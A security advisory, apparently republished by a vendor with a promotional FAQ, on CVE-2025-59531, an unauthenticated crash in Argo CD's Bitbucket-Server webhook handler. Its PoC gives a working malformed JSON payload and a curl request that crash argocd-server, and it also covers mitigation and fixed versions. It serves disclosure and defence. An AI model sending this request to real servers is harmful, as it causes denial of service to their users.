CVE-2025-59531

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.

With the default configuration, no webhook.bitbucketserver.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field repository.links.clone is anything other than an array.

A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.

Details

// webhook.go (Bitbucket-Server branch in affectedRevisionInfo)

for _, l := range payload.Repository.Links["clone"].([]any) {   // <- unsafe cast
    link := l.(map[string]any)
    ...
}

If links.clone is a string, number, object, or null, the first type assertion panics:
interface conversion: interface {} is string, not []interface {}

The worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.

PoC

Save as payload-panic.json - note the non-array links.clone.

{
  "eventKey": "repo:refs_changed",
  "repository": {
    "name": "guestbook",
    "fullName": "APP/guestbook",
    "links": { "clone": "boom" }
  },
  "changes": [ { "ref": { "id": "refs/heads/master" } } ]
}

curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Event-Key: repo:refs_changed' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-panic.json

Observed crash (argocd-server restart):

panic: interface conversion: interface {} is string, not []interface {}
goroutine 192 [running]:
github.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo
    webhook.go:209 +0x1218
...

Mitigation

If you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.bitbucketserver.secret: <your base64-encoded secret here>

For more information

• Open an issue in the Argo CD issue tracker or discussions
• Join us on Slack in channel #argo-cd

Credits

Discovered by Jakub Ciolek at AlphaSense.

CVE-2025-59531 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.14.20, 3.2.0-rc2, 3.1.8, 3.0.19); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-59531? CVE-2025-59531 is a high-severity security vulnerability in github.com/argoproj/argo-cd (go), affecting versions >= 1.2.0, <= 1.8.7. It is fixed in 2.14.20, 3.2.0-rc2, 3.1.8, 3.0.19.
2. How severe is CVE-2025-59531? CVE-2025-59531 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2025-59531?
   • github.com/argoproj/argo-cd (go) (versions >= 1.2.0, <= 1.8.7)
   • github.com/argoproj/argo-cd/v2 (go) (versions >= 2.0.0-rc1, <= 2.14.19)
   • github.com/argoproj/argo-cd/v3 (go) (versions = 3.2.0-rc1)
4. Is there a fix for CVE-2025-59531? Yes. CVE-2025-59531 is fixed in 2.14.20, 3.2.0-rc2, 3.1.8, 3.0.19. Upgrade to this version or later.
5. Is CVE-2025-59531 exploitable, and should I be worried? Whether CVE-2025-59531 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-59531 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-59531?
   • Upgrade github.com/argoproj/argo-cd/v2 to 2.14.20 or later
   • Upgrade github.com/argoproj/argo-cd/v3 to 3.2.0-rc2 or later
   • Upgrade github.com/argoproj/argo-cd/v3 to 3.1.8 or later
   • Upgrade github.com/argoproj/argo-cd/v3 to 3.0.19 or later